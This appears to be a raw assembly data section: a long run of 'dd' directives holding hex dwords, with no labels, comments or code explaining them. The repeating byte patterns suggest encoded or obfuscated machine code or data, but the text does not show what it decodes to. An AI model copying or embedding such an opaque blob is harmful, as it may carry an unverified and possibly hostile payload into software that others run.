dd 0F858485h, 4FC57575h, 6A6BF872h, 0C74EF334h, 6A7B6A9Ah
dd 85C2FF85h, 0C5758584h, 6BFAD27Fh, 866FF16Ah, 0F76A6BFBh
dd 79926AFEh, 0FF437A7Ah, 858485C2h, 6F85E908h, 6A6B200Ah
dd 85DAFFF3h, 96DB8584h, 756A6BFBh, 0FBBE6FC5h, 0AA7B6A6Bh
dd 0F37192F9h, 8485CEFFh, 0F1109185h, 8485CEC7h, 789DBB85h
dd 1E4FC575h, 346A6BFBh, 9A474E43h, 0E6A7B6Ah, 4746F130h
dd 6A73332Ah, 0FBA64FF1h, 0BCFB6A6Bh, 7A7A901Ah, 0FABA6FF1h
dd 79386A6Bh, 6BFBD66Fh, 88D5756Ah, 0C7418D7Bh, 858485DAh
dd 0C7F16709h, 858485CEh, 0EE4FC575h, 796A6BFBh, 6BFAA64Fh
dd 7F94F96Ah, 9AC74EF3h, 856A7B6Ah, 8485CEFFh, 0FAA6DB85h
dd 0A57F6A6Bh, 797A7A79h, 6BFAAE7Fh, 0CEFF436Ah, 75858485h
dd 858500F8h, 0F87ADB85h, 7F796A6Bh, 6A6BFB86h, 0F37F92F9h
dd 8485D6FFh, 0F15E9185h, 8485D6C7h, 664FF185h, 796A6BFBh
dd 6BFBCE4Fh, 7C94F96Ah, 9AC74E43h, 0E6A7B6Ah, 0D6FF855Bh
dd 0DB858485h, 6A6BFB36h, 7A79A77Fh, 6FC5757Ah, 6A6BFB46h
dd 0FF43AA7Bh, 858485D6h, 0C7F1BB08h, 858485D6h, 85DECFF1h
dd 4EF38584h, 7B7A5AC7h, 720FF16Ah, 1AC74EF3h, 0F36A7A8Ah
dd 0D1EFF082h, 0F2858485h, 5BCA7F6Eh, 0C5756A7Bh, 6BFBD27Fh
dd 0E67F796Ah, 0F96A6BFBh, 0FF437E92h, 858485FAh, 7AB8FC75h
dd 4FF17A7Ah, 6A6BFB96h, 8586BCFBh, 0C5757A7Ah, 6BF8626Fh
dd 1CAC7B6Ah, 6A074EF3h, 0DB6A7F50h, 6A6BFB2Eh, 0F85A7F79h
dd 92F96A6Bh, 2FFF370h, 91858485h, 2C7F10Dh, 0F3858485h
dd 789CBB84h, 0FB2E6FF1h, 0C5756A6Bh, 6BFBEA77h, 0F9B07B6Ah
dd 6E436A90h, 7B6A9A4Fh, 75310E6Ah, 6A076ECDh, 0F16A7F50h
dd 6BFB0277h, 8CBBFB6Ah, 757A7A85h, 0FBD27FC5h, 0BB7B6A6Bh
dd 500EB043h, 85DEEFF1h, 6E438584h, 7B7A5A4Fh, 0F0610F6Ah
dd 5BCA476Eh, 0EF406A7Bh, 858485D1h, 46F7760Fh, 7F506A07h
dd 7D851C6Ah, 0FF854191h, 85848502h, 6BFAC2DBh, 799E7F6Ah
dd 0FF437A7Ah, 85848502h, 8509F875h, 67918585h, 85D6C7F1h
dd 4FF18584h, 6A6BFBC6h, 0FBF24F79h, 94F96A6Bh, 4EF31C70h
dd 7F506A07h, 0A6F856Ah, 0F16A6B20h, 8485D6C7h, 0C77EF385h
dd 6A73332Ah, 0F8D24FF7h, 4EF36A6Bh, 7B6A9AC7h, 0D6C7F16Ah
dd 0F7858485h, 6A9AC746h, 0C7F36A7Bh, 85848506h, 0F12A82F3h
dd 7E2C854Ah, 85D6C7F1h, 46F78584h, 7B6A9AC7h, 0EAC7F36Ah
dd 1C858485h, 85F2FFBDh, 7A738584h, 85F2CFF7h, 96F98584h
dd 0C39DF36Ah, 7A7A7A7Eh, 0C7F1DF89h, 858485FEh, 8545F12Dh
dd 7A7ADEEDh, 0F7B9F37Ah, 8485F2FFh, 6F852A85h, 6A6B0A3Eh
dd 85D6FF85h, 0FFF18584h, 858485FEh, 854AF12Ah, 0DADB722Ch
dd 0F96A6BFBh, 0FF437292h, 858485C6h, 0FFF1760Eh, 858485C6h
dd 854AF12Ah, 0C575722Ch, 6BF83A7Fh, 7292F96Ah, 0E863F43h
dd 863FF173h, 854AF12Ah
dd 3F85722Ch, 0A23FF19Eh, 759E3F43h, 858325F8h, 0A63FF185h
dd 854AF12Ah, 3FF1722Ch, 4AF12AAEh, 4B722C85h, 212425BAh
dd 0F32FB9B3h, 2E96FB9Fh, 297A7A78h, 0FFF72D2Ch, 85858496h
dd 7FC5752Ah, 6A6BFBBEh, 2A7292F9h, 6BFB2EDBh, 7292F96Ah
dd 755B102Ah, 0FB1E7FC5h, 2A326A6Bh, 507A6F85h, 0B9F36A7Fh
dd 0FF75A173h, 7A7A7B6Fh, 2A8A3FF7h, 4E4A6F85h, 0A6DB6A73h
dd 756A6BFAh, 75802FCDh, 0F18237CDh, 6BFBC667h, 4CB9F96Ah
dd 7BB1D575h, 37CD75B0h, 67C5758Ch, 6A6BFB3Eh, 0FA924FF1h
dd 26F76A6Bh, 0D5756949h, 67C575B1h, 6A6BF83Ah, 754EB9F9h
dd 0B07BB1D5h, 8837CD75h, 6267C575h, 0F16A6BFBh, 6BFBAA4Fh
dd 4926F76Ah, 0B1D57575h, 0FB3667F1h, 0B9F96A6Bh, 4FC5756Fh
dd 6A6BFB32h, 0D575897Bh, 67C575B1h, 6A6BFB46h, 0FB5E4FF1h
dd 26F76A6Bh, 0D5754B49h, 75B07BB1h, 0F18A37CDh, 6BFAA667h
dd 72B9F96Ah, 0F1B1D575h, 6BFBF267h, 6BB9F96Ah, 0FB2E6779h
dd 0D5756A6Bh, 67C575B1h, 6A6BFA82h, 75793EF7h, 0DBB2D575h
dd 6A6BFBC2h, 794EBAF9h, 6BFB2A7Fh, 0B2D5756Ah, 0B27BAAF3h
dd 7A8A4AD9h, 0F856DB6Ah, 7F796A6Bh, 6A6BFBFAh, 0F37C92F9h
dd 8587B0FFh, 0D4CFF785h, 0FB858587h, 7A7B3A96h, 0C39DF37Ah
dd 7A7A7AE5h, 0F7DF1C89h, 858496C7h, 0B8922D85h, 0FB8585ECh
dd 7A7B3EBEh, 2124257Ah, 0F32FB9B3h, 6A7AC29Fh, 0A0927A7Ah
dd 297A7A57h, 0C3122D2Ch, 926A6BFDh, 8585F96Ah, 524FF123h
dd 0F96A6BF8h, 2A2C7294h, 6A4FC575h, 0F96A6BF8h, 852C7F94h
dd 6F85720Fh, 6A77234Ah, 7EDBBDF3h, 0F96A6BF8h, 0BD437892h
dd 7F1790Fh, 0FDD91272h, 0AF926A6Bh, 238585F8h, 0FBFA4FF1h
dd 0C5756A6Bh, 6BF83A67h, 0F9A47B6Ah, 2A2C7294h, 0CE4FC575h
dd 796A6BFAh, 6BFB224Fh, 7294F96Ah, 6F852D2Ch, 6A77234Ah
dd 0FFF7BDF3h, 85858A7Bh, 7585122Ah, 77107A7Ah, 626F852Dh
dd 0DB6A7A8Ah, 6A6BFAEAh, 0FBCE7F79h, 0C6FA6A6Bh, 8595837Fh
dd 690F5A85h, 6BF876DBh, 7FC6FA6Ah, 85859584h, 0EAFE755Ah
dd 0F77A7A7Ah, 858A7BF7h, 85B2F985h, 7B46FA3Ah, 0F1830F7Ah
dd 6BFA9667h, 76B9F96Ah, 908A243h, 6BFAD6DBh, 7FC6FA6Ah
dd 85859580h, 0DB750F12h, 6A6BF836h, 837FC6FAh, 0E858595h
dd 0E4122F0Eh, 926A6BFDh, 8585F85Eh, 1E4FC575h, 0F96A6BFBh
dd 2A2C79BCh, 8A7BCFF7h, 922C8585h, 8585CF4Dh, 756ABEF9h
dd 0FAD267C5h, 0B9FB6A6Bh, 7A7A8585h, 650FA243h, 6BFDE212h
dd 0FB94926Ah, 2A238585h, 0FB9E4FF1h, 94F96A6Bh, 76102C7Eh
dd 626F852Dh, 256A7A8Ah, 0B9B32124h, 2D9FF32Fh, 85720F85h
dd 6BF8224Fh, 0D66F856Ah, 0F36A7B5Bh, 0B92725BDh, 929FF32Fh
dd 85858754h, 6BF87EDBh, 0CBAF96Ah, 0FA9A6FF1h, 0B8FB6A6Bh
dd 7A7A9022h, 0FB5E6F79h, 0D5756A6Bh, 6F852AB8h, 6A77235Eh
dd 27AE9123h, 2F7A7EB8h, 6EC29FF3h, 927A7D65h, 7A7A5643h
dd 0F72D2C29h, 818BFAFFh, 6F852A85h, 6A7A8A32h, 8B16FFF7h
dd 0F72A8581h, 818BFAFFh, 73102A85h, 6BFB9EDBh, 7E92F96Ah
dd 720F852Ah, 485E6F85h, 0B9F36A73h, 6BFB7ADBh, 5A7F796Ah
dd 0F96A6BF8h, 0B9437192h, 747AFF75h, 9ADB7A7Ah, 0F96A6BFAh
dd 0FFF37C92h, 85818BDAh, 8BF2F7F1h, 0F7F38581h, 85818BE6h
dd 8BDAF7F7h, 122B8581h, 6A6BE0D2h, 8BE6FFF1h, 0F12A8581h
dd 476E8542h, 7A7A7A7Ah, 4EDBB9F3h, 796A6BF8h, 6BFB367Fh
dd 7092F96Ah, 0FF75B943h, 7A7A77C8h, 8B06FFF7h, 0F12A8581h
dd 818BDAFFh, 42F12A85h, 0F3022D85h, 0FAC6DBB9h, 7F796A6Bh
dd 6A6BFB9Ah, 437E92F9h, 1FF75B9h, 0F77A7A77h, 818BD3FFh
dd 0CF852A85h, 85818B06h, 85EBD492h, 72BEF985h, 0F33DBDF3h
dd 818B12C7h, 6CF8585h, 8585818Bh, 6B154E6Fh, 0D3C7FA6Ah
dd 1285818Bh, 0C7FA610Fh, 85818BD0h, 0FA680F0Eh, 818BD1C7h
dd 730F0E85h, 8BD6C7FAh, 0E0A8581h, 7752937Fh, 0FFF77A7Ah
dd 85868BCEh, 0DAFFF12Ah, 2A85818Bh, 0ED8542F1h, 7A7A7AEEh
dd 0FEDBB9F3h, 796A6BFBh, 6BFBF67Fh, 7F92F96Ah, 6B0EB943h
dd 6BFBFADBh, 0C67F796Ah, 0F36A6BFAh, 868BCEFFh, 0E2FFF785h
dd 2A85818Bh, 8BDAFFF1h, 0F12A8581h, 322D8542h, 4ADBB9F3h
dd 326A6BFBh, 0FF75B943h, 7A7A76B0h, 8BEEFFF7h, 122A8581h
dd 6A6BE052h, 8BE2FFF1h, 0F12A8581h, 476E8542h, 7A7A7A7Ah
dd 76DBB9F3h, 0F96A6BFBh, 0B9437892h, 76EAFF75h, 0FFF77A7Ah
dd 85818BEAh, 0EEFFF12Ah, 2A85818Bh, 2D8542F1h, 0DBB9F326h
dd 6A6BFB5Eh, 0FAEA7F79h, 92F96A6Bh, 75B9437Ch, 7A7623FFh
dd 0AFFF77Ah, 2A85818Bh, 8BEAFFF1h, 0F12A8581h, 5A2D8542h
dd 0BADBB9F3h, 796A6BFBh, 6BF87A7Fh, 7C92F96Ah, 0FF75B943h
dd 7A7A7658h, 6BFBAEDBh, 467F796Ah, 0F96A6BF8h, 0A28D7D92h
dd 8BDEFFF3h, 0F2128581h, 926A6BFDh, 8585C948h, 766F852Ah
dd 0F36A7B7Ah, 868BC6FFh, 0FD0E1285h, 61926A6Bh, 2A8585C9h
dd 7A766F85h, 0FFF36A7Bh, 85868BC2h, 0E67FC575h, 0F16A6BFAh
dd 6BF8566Fh, 7D90F96Ah, 0C67FEEF2h, 0DB858688h, 6A6BFA9Ah
dd 0FB0A7F79h, 0FEBC6A6Bh, 8688CC7Fh, 32DB3E85h, 756A6BF8h
dd 0FAB66FC5h, 0AA7B6A6Bh, 0C67FFEBCh, 6858688h, 8BD3FFF7h
dd 0F72A8581h, 8688BAFFh, 6F852A85h, 6A7A8A56h, 756ABEF9h
dd 0FBEE7FC5h, 0F3326A6Bh, 818B0EFFh, 0FB6EDB85h, 7F796A6Bh
dd 6A6BFB2Ah, 0F37F92F9h, 818B02FFh, 7FC57585h, 6A6BFB1Eh
dd 0FBC67F79h, 92F96A6Bh, 43A28D7Ch, 818BDEFFh, 0F73D0F85h
dd 868BD6FFh, 0FFF12A85h, 85818BEEh, 8542F12Ah, 0B9F3422Dh
dd 6A7FC575h, 0F96A6BF8h, 0B9437F92h, 709CFF75h, 19127A7Ah
dd 926A6BFDh, 85850406h, 0BAC7F72Ah, 2D858688h, 8A566F85h
dd 0BEF96A7Ah, 7B669376h, 0BD1C7A7Ah, 818B22FFh, 0F17A6D85h
dd 818BDEFFh, 1AFFF385h, 0F785818Bh, 818B32FFh, 0FFF72A85h
dd 85818B22h, 0EAFFF12Ah, 2A85818Bh, 2C854AF1h, 2FFF766h
dd 2A85818Bh, 6BE00212h, 2ACF856Ah, 0F185818Bh, 818B2AC7h
dd 8545F185h, 7A7A476Eh, 0B9F37A7Ah, 6BFB82DBh, 0FE7F796Ah
dd 0F96A6BFBh, 0B9437D92h, 7024FF75h, 0FFF77A7Ah, 85818B0Eh
dd 2FFF12Ah, 2A85818Bh, 0ED8542F1h, 7A7A7AAAh, 42DBB9F3h
dd 796A6BF8h, 6BF8667Fh, 7E92F96Ah, 6B0EB943h, 8B02FFF1h
dd 0F12A8581h, 722C854Ah, 7A705993h, 0D6FFF77Ah, 2A85868Bh
dd 8B0EFFF1h, 0F12A8581h, 422D8542h, 7ADBB9F3h, 796A6BFBh
dd 6BF84E7Fh, 6B92F96Ah, 670EB943h, 8B0EFFF1h, 0F12A8581h
dd 722C854Ah, 8B02FFF1h, 0F12A8581h, 722C854Ah, 7A73A593h
dd 0FD2E127Ah, 0F926A6Bh, 85858507h, 818BDECFh, 0C7F72A85h
dd 85868BBBh, 526F852Dh, 0F76A7723h, 868BBBFFh, 0FFF72A85h
dd 858688BAh, 566F852Ah, 0F96A7A8Ah, 0FFF762BEh, 85868BD2h
dd 0D6FFF12Ah, 2A85868Bh, 2D8542F1h, 0DBB9F35Eh, 6A6BFAB2h
dd 0FADE7F79h, 92F96A6Bh, 75B94372h, 7A7305FFh, 7FC5757Ah
dd 6A6BFABEh, 0F37C92F9h, 868BCAFFh, 73229385h, 0BD1C7A7Ah
dd 838B4AFFh, 0F17A7885h, 868BCAFFh, 42FFF385h, 7585838Bh
dd 0FBBE7FC5h, 7F796A6Bh, 6A6BFB8Eh, 0FB266FF1h, 90F96A6Bh
dd 7FEEF27Eh, 85808B2Eh, 8B3AFFF7h, 0F72A8583h, 838B4ACFh
dd 6A96F985h, 7EC39DF3h, 897A7A7Ah, 4ACFF7DFh, 0F985838Bh
dd 9DF36A96h, 7A7A7EC3h
dd 0F1DF897Ah, 868BD6C7h, 45F12D85h, 0F3562D85h, 7FC575B9h
dd 6A6BFABEh, 437C92F9h, 0AFFF75B9h, 127A7A72h, 6A6BFD3Ch
dd 8506F992h, 0CACF8585h, 2A85868Bh, 8BBBC7F7h, 852D8586h
dd 7723526Fh, 0BBFFF76Ah, 2A85868Bh, 88BAFFF7h, 852A8586h
dd 7A8A566Fh, 62BEF96Ah, 0B67FC575h, 796A6BFAh, 6BFB9E7Fh
dd 7F92F96Ah, 8B56FFF3h, 0FFF78583h, 85838B56h, 0E032122Ah
dd 0FFF16A6Bh, 85838B3Ah, 8542F12Ah, 7A7A476Eh, 0B9F37A7Ah
dd 6BF856DBh, 5E7F796Ah, 0F96A6BF8h, 0B9437292h, 7ECDFF75h
dd 0FFF77A7Ah, 85838B52h, 56FFF12Ah, 2A85838Bh, 0ED8542F1h
dd 7A7A7A8Ah, 2EDBB9F3h, 796A6BFBh, 6BFB0E7Fh, 7592F96Ah
dd 0FF75B943h, 7A7A7E07h, 8B1BFFF7h, 852A8583h, 838B52CFh
dd 0F6AF9285h, 0BEF98585h, 3DBDF372h, 8B32C7F3h, 0CF858583h
dd 85838B52h, 154E6F85h, 32DB6A6Bh, 0F96A6BF8h, 0FFF37E92h
dd 85818B1Eh, 0FFF13091h, 85818B1Eh, 7FFEC475h, 85838B1Bh
dd 0FBD66FF1h, 0B8F96A6Bh, 0EAA4371h, 4E6FF169h, 0F96A6BFBh
dd 6F797EB8h, 6A6BFB0Ah, 6C0FAA43h, 8B1EFFF1h, 6FF18581h
dd 6A6BFB26h, 0F27E90F9h, 8B1B7FEEh, 0FF858583h, 85818B1Eh
dd 8B32FFF1h, 0FF438583h, 85818B1Eh, 0FFF7D208h, 85838B1Bh
dd 1FFFF72Ah, 2A85808Bh, 7A5C6292h, 7FC5757Ah, 6A6BFAE6h
dd 0FB5E7F79h, 92F96A6Bh, 1EFFF372h, 0F185818Bh, 818B1EFFh
dd 7FF6F785h, 85838B1Bh, 3A85B2F9h, 7A7B46FAh, 0FFF3830Fh
dd 85838B22h, 0F8466FF1h, 0ABF36A6Bh, 0B243AB7Bh, 0C575620Eh
dd 6BF8626Fh, 9A77F16Ah, 0F76A6BFAh, 7AB870EEh, 0AA437A7Ah
dd 0AA937F0Ch, 757A7A7Ah, 0F83E7FC5h, 92F96A6Bh, 26FFF37Dh
dd 9185838Bh, 1EFFF152h, 7985818Bh, 838B26FFh, 0FEC47585h
dd 838B1B7Fh, 6FC57585h, 6A6BFA86h, 4364B8F9h, 856E0FAAh
dd 838B26FFh, 22FFF185h, 4385838Bh, 838B26FFh, 0F1B00885h
dd 838B22FFh, 26FF4385h, 0E85838Bh, 7FC57500h, 6A6BFA86h
dd 0FFF12A32h, 85818B1Eh, 1B7FFEF7h, 2A85838Bh, 8B1FFFF7h
dd 922A8580h, 8585D7F5h, 0F376BEF9h, 838B5EFFh, 0FBFADB85h
dd 8D7F6A6Bh, 797A7A85h, 6BF84E7Fh, 5EFF436Ah, 0F85838Bh
dd 0FD3B124Ch, 43926A6Bh, 2A858500h, 8B1FC7F7h, 852D8580h
dd 7A8A566Fh, 1EFFF16Ah, 0F785818Bh, 8B1B7FFEh, 0F72A8583h
dd 808B1FFFh, 6F852A85h, 6A7A8A56h, 0F16EBEF9h, 838B22FFh
dd 0E66FF185h, 796A6BFBh, 6BFBBA6Fh, 7E90F96Ah, 0FF7BAA7Bh
dd 85818B1Eh, 8B32FFF1h, 0FF438583h, 85818B1Eh, 84C3F875h
dd 76DB8585h, 0F96A6BF8h, 0FFF37E92h, 85838B36h, 8B1FF7F7h
dd 0B2F98580h, 46FA3A85h, 830F7A7Bh, 8B22FFF3h, 0BADB8583h
dd 0F96A6BFBh, 0FFF37B92h, 85818B1Eh, 7A786993h, 1EFFF17Ah
dd 7585818Bh, 1F7FFECCh, 0F185808Bh, 6BFB4E6Fh, 6FB8F96Ah
dd 0FAE26F79h, 0AA436A6Bh, 0DFF97D0Eh, 85838B2Eh, 1EFFF17Ah
dd 7585818Bh, 1F7FFECCh, 0F185808Bh, 6BFBA66Fh, 5AB8F96Ah
dd 0FF75AA43h, 7A7A7B08h, 6BFBFEDBh, 7E92F96Ah, 8B1EFF43h
dd 0FC758581h, 7A7A7ACAh, 8B1EFFF1h, 0C5758581h, 6BFB526Fh
dd 226F796Ah, 0F96A6BFBh, 0AA537D90h, 1F7FFEF0h, 0F285808Bh
dd 838B59FFh, 0FFCC7585h, 85838B59h, 0FB366FF1h, 0B8F96A6Bh
dd 4AA4364h, 926FF177h, 0F96A6BFAh, 0AA4355B8h, 0CC751A06h
dd 838B59FFh, 6FC57585h, 6A6BFB1Eh, 0FBD677F1h, 2EF76A6Bh
dd 0AA434C70h, 0C5756F04h, 6BFBB66Fh, 0DA77F16Ah, 0F76A6BFBh
dd 434A702Eh, 755506AAh, 8B59FFCCh, 0C5758583h, 6BFBEE6Fh
dd 9A77F16Ah, 0F76A6BFAh, 4309702Eh, 0F16704AAh, 6BFAD66Fh
dd 2B8F96Ah, 0FBA66F79h, 0AA436A6Bh, 0FFBD7007h, 85838B2Eh
dd 7A7A7A7Bh, 8B22FFF1h, 0FF438583h, 85818B1Eh, 7AE6F975h
dd 0FFF17A7Ah, 85818B1Eh, 0FAE26FF1h, 90F96A6Bh, 0F0AA7B72h
dd 8B1F7FFEh, 0FFF28580h, 85838B59h, 59FFCC75h, 0F185838Bh
dd 6BFB8E6Fh, 6FB8F96Ah, 0F87E6F79h, 0AA436A6Bh, 6FF16C04h
dd 6A6BFBF2h, 7553B8F9h, 0FAEE77C5h, 0B07B6A6Bh, 3E06AA43h
dd 59FFCC75h, 0F185838Bh, 6BF8666Fh, 4FB8F96Ah, 7704AA43h
dd 0FB826FF1h, 0B8F96A6Bh, 6AA4344h, 0FFCC7559h, 85838B59h
dd 426FC575h, 0F96A6BFBh, 0AA430DB8h, 0C5756204h, 6BFAB66Fh
dd 4B8F96Ah, 7007AA43h, 8B2EFFBDh, 7A7B8583h, 0C7F97A7Ah
dd 85838B2Eh, 0F15A0F7Ah, 838B36FFh, 1EEFF185h, 0F085818Bh
dd 8B1F6FEEh, 0EEF28580h, 808B1F7Fh, 36FF8585h, 0F185838Bh
dd 818B1EFFh, 0FECC7585h, 808B1F7Fh, 0A26FF185h, 0F96A6BFAh
dd 6F7962B8h, 6A6BFB76h, 700FAA43h, 8B2EFFBDh, 7A7B8583h
dd 0FF857A7Ah, 85818B1Eh, 8B22FFF1h, 0FF438583h, 85818B1Eh
dd 87A1F875h, 0FFF18585h, 85838B36h, 0FBCA6FF1h, 0C5756A6Bh
dd 6BFAE677h, 0F9B07B6Ah, 0EEF27790h, 808B1F7Fh, 56FFF185h
dd 2A85838Bh, 2C854AF1h, 7FC57572h, 6A6BFB46h, 0F37392F9h
dd 838B2AFFh, 2AFFF785h, 2A85838Bh, 6BE02212h, 3AFFF16Ah
dd 2A85838Bh, 6E8542F1h, 7A7A7A47h, 0DBB9F37Ah, 6A6BF87Eh
dd 0FBFA7F79h, 92F96A6Bh, 75B94378h, 7A7894FFh, 3EFFF77Ah
dd 2A85838Bh, 8B2AFFF1h, 0F12A8583h, 162D8542h, 5EDBB9F3h
dd 756A6BFBh, 0FB526FC5h, 0AA7B6A6Bh, 437D92F9h, 0CEFF75B9h
dd 0DB7A7A78h, 6A6BF84Eh, 0F37292F9h, 808B1AFFh, 78F59385h
dd 1ADB7A7Ah, 796A6BFBh, 6BFB0E7Fh, 7492F96Ah, 5E6F852Ah
dd 236A7723h, 82FFBD1Ch, 7885828Ah, 1AFFF17Ah, 0F385808Bh
dd 828B7AFFh, 8EFFF785h, 2A85828Ah, 8A82CFF7h, 96F98582h
dd 0C39DF36Ah, 7A7A7A7Eh, 0CFF7DF89h, 85828A82h, 0F36A96F9h
dd 7A7EC39Dh, 0DF897A7Ah, 8B2AC7F1h, 0F12D8583h, 0E2D8545h
dd 0C575B9F3h, 6BF86A7Fh, 6FC5756Ah, 6A6BFAB6h, 92F9AA7Bh
dd 75B9437Ch, 7A7870FFh, 7FC5757Ah, 6A6BFAEEh, 0FADA7F79h
dd 92F96A6Bh, 76FFF37Fh, 0F785828Bh, 828B76FFh, 32122A85h
dd 0F16A6BE0h, 828A8EFFh, 42F12A85h, 7A476E85h, 0F37A7A7Ah
dd 7FC575B9h, 6A6BFBD2h, 0F85A7F79h, 92F96A6Bh, 75B94378h
dd 7A7BC8FFh, 6AFFF77Ah, 2A85838Bh, 527FC575h, 0F96A6BFBh
dd 852A7F92h, 868BC2CFh, 76FFF185h, 2A85828Bh, 2D8542F1h
dd 73B9F35Ah, 1C700FA1h, 8B6AC7F9h, 0E728583h, 7B17937Fh
dd 76DB7A7Ah, 796A6BF8h, 6BFBF67Fh, 6FC5756Ah, 6A6BFB46h
dd 0F27390F9h, 8B767FEEh, 0FFF78582h, 85828B6Bh, 62CF852Ah
dd 9285838Bh, 8585FCDDh, 0F372BEF9h, 0C7F33DBDh, 85829A8Ah
dd 8B62CF85h, 6F858583h, 6A6B154Eh, 6BFB4EDBh, 6FC5756Ah
dd 6A6BFAEEh, 6FEEC475h, 85828B75h, 0BB7BBBF3h, 92F9B2F3h
dd 75B8437Eh, 7A7B78FEh, 0CECF857Ah, 0F785868Bh, 828B6BFFh
dd 4922A85h, 0F9858537h, 0FFF772BEh, 85838B6Ah, 0FB5ADB2Ah
dd 92F96A6Bh, 0CF852A72h, 85868BC6h, 8B76FFF1h, 0F12A8582h
dd 5A2D8542h, 5ADBB9F3h, 796A6BF8h, 6BF8367Fh, 6FC5756Ah
dd 6A6BFB62h, 0F27290F9h, 9A907FEEh, 0A1738582h, 0F91C4E0Fh
dd 838B6AC7h, 500F7285h, 9A8FFFF7h, 852A8582h, 838B62CFh
dd 0FF8F9285h, 0BEF98585h, 3DBDF372h, 9A96C7F3h, 0CF858582h
dd 85838B62h, 154E6F85h, 43126A6Bh, 926A6BFDh, 85850EB6h
dd 8B1ACF85h, 0F72A8580h, 868BBBC7h, 6F852D85h, 6A772352h
dd 8BBBFFF7h, 0F72A8586h
dd 8688BAFFh, 6F852A85h, 6A7A8A56h, 9A8FFFF7h, 0F72A8582h
dd 8688BAFFh, 6F852A85h, 6A7A8A56h, 6BFD4E12h, 0EFC926Ah
dd 0F72A8585h, 8688BAC7h, 6F852D85h, 6A7A8A56h, 8B6BFFF7h
dd 0F72A8582h, 8688BAFFh, 6F852A85h, 6A7A8A56h, 0F14EBEF9h
dd 828B76FFh, 4AF12A85h, 0F1722C85h, 828A8EFFh, 4AF12A85h
dd 85722C85h, 808B1AFFh, 3EFFF185h, 4385838Bh, 808B1AFFh
dd 25F87585h, 0F1858587h, 838B2AFFh, 4AF12A85h, 0F1722C85h
dd 838B3AFFh, 4AF12A85h, 75722C85h, 8B1FFFCCh, 6FF18580h
dd 6A6BFB56h, 0FBFA6F79h, 90F96A6Bh, 0EAA4372h, 0FD54123Dh
dd 8F926A6Bh, 2A858509h, 88BAC7F7h, 852D8586h, 7A8A566Fh
dd 1FFFF76Ah, 2A85808Bh, 88BAFFF7h, 852A8586h, 7A8A566Fh
dd 0FD53126Ah, 0B3926A6Bh, 2A858509h, 88BAC7F7h, 852D8586h
dd 7A8A566Fh, 5ABEF96Ah, 8BCAFF85h, 0FFF18586h, 85868BD2h
dd 8BCAFF43h, 0F8758586h, 85858CECh, 8BDEFF85h, 0FFF18581h
dd 85818B0Ah, 8BDEFF43h, 0F6758581h, 85858EE5h, 88BAFFF7h
dd 852A8586h, 7723666Fh, 0CF85236Ah, 85868BC2h, 154E6F85h
dd 0CF856A6Bh, 85868BC6h, 154E6F85h, 0FFF16A6Bh, 85818BEAh
dd 854AF12Ah, 0FFF1722Ch, 85818BEEh, 854AF12Ah, 0FFF1722Ch
dd 85818BE2h, 854AF12Ah, 0FFF1722Ch, 85818BE6h, 854AF12Ah
dd 2425722Ch, 2FB9B321h, 0C2129FF3h, 856A7B5Fh, 7F53826Fh
dd 5FC2DB6Ah, 0B8276A7Bh, 0F32F7A7Eh, 292A2B9Fh, 7A102D2Ch
dd 7A7AFA12h, 1079107Ah, 1279107Ah, 0FA7A7A7Ah, 85720F85h
dd 6B11626Fh, 0F9BDF36Ah, 640F8585h, 7A7607F9h, 3FF16E0Eh
dd 5A6FF176h, 796A6BF8h, 6BFBE66Fh, 7C90F96Ah, 0BA4B6AF3h
dd 0CEDB3591h, 0F96A6BFBh, 2D2A7E92h, 236A6F85h, 0BCF36A73h
dd 2A6ABAF9h, 6F853A10h, 6A7F5396h, 4F85B9F3h, 6A6BFB86h
dd 7A7607F9h, 3FF1720Eh, 823FF376h, 3FF77C91h, 823FF386h
dd 2C820F85h, 6F852D29h, 6A7A8A4Eh, 326F852Dh, 0F36A7333h
dd 212425A2h, 7BC2B9B3h, 0B8FA7A3Ah, 122D7A6Ah, 6A6BFD63h
dd 85081D92h, 852A2385h, 7B5FE26Fh, 0F802D96Ah, 12DB6A6Bh
dd 796A6BFBh, 6BFB067Fh, 7392F96Ah, 0F8027F43h, 6D0F6A6Bh
dd 6BFD7312h, 840926Ah, 2A238585h, 48626F85h, 2D96A7Fh
dd 126A6BF8h, 6A6BFC96h, 85085992h, 0DB922A85h, 0D97A7A7Eh
dd 6A7F4B9Eh, 6BFCB512h, 874926Ah, 922A8585h, 7A7A7EF6h
dd 7B5BD2D9h, 0FCBA126Ah, 83926A6Bh, 2A85850Bh, 7A7E0D92h
dd 237ED97Ah, 0DD126A73h, 926A6BFCh, 85850B9Eh, 7E18922Ah
dd 66D97A7Ah, 126A7332h, 6A6BFCF6h, 850BB592h, 37922A85h
dd 0D97A7A7Eh, 6A7A8A2Ah, 6BFC0912h, 0BC0926Ah, 922A8585h
dd 7A7A7E42h, 7A8A5AD9h, 0FC25126Ah, 0DF926A6Bh, 2A85850Bh
dd 7A7E5992h, 2312D97Ah, 33126A6Bh, 926A6BFCh, 85850BEAh
dd 7E74922Ah, 0A6D97A7Ah, 126A7F53h, 6A6BFC51h, 850B0192h
dd 83922A85h, 0D97A7A79h, 6A7F5392h, 6BFC6012h, 0B1C926Ah
dd 922A8585h, 7A7A799Eh, 7B5FE6D9h, 0FC70126Ah, 2B926A6Bh
dd 2A85850Bh, 7A79B592h, 5FDAD97Ah, 90126A7Bh, 926A6BFFh
dd 85850B46h, 79C0922Ah, 72D97A7Ah, 126A7B7Ah, 6A6BFFA9h
dd 850B5D92h, 0DF922A85h, 0D97A7A79h, 6A732376h, 6BFFC512h
dd 0B68926Ah, 922A8585h, 7A7A79EAh, 7B5AFAD9h, 0FFD1126Ah
dd 87926A6Bh, 2A85850Ah, 7A790192h, 2BEF97Ah, 7A8A36D9h
dd 2FB9256Ah, 852D9FF3h, 4F85720Fh, 6A6BF826h, 5BD66F85h
dd 0BDF36A7Bh, 2FB92725h, 292B9FF3h, 3FCC752Dh, 7A70C372h
dd 0B7C07A7Ah, 8DB6B6B6h, 7990BB98h, 0F3862FF3h, 1BBDF9ADh
dd 27F281F3h, 7207FA72h, 0FA7E0F10h, 0F07B723Fh, 1F46723Fh
dd 3466E0Eh, 0F466A0Eh, 1346760Eh, 1546720Eh, 1B467E0Eh
dd 3FFA7E0Fh, 0CC757B72h, 2125723Fh, 0F32FB9B3h, 6A7AC29Fh
dd 54927A7Ah, 2C7A7A61h, 857F102Dh, 6F85720Fh, 6A7A8A7Eh
dd 76DBBDF3h, 0F96A6BF8h, 0BD437E92h, 0BA4B7E0Fh, 85122B91h
dd 0F77A7A75h, 858A7BFFh, 852D2A85h, 7B75AA6Fh, 7FC5756Ah
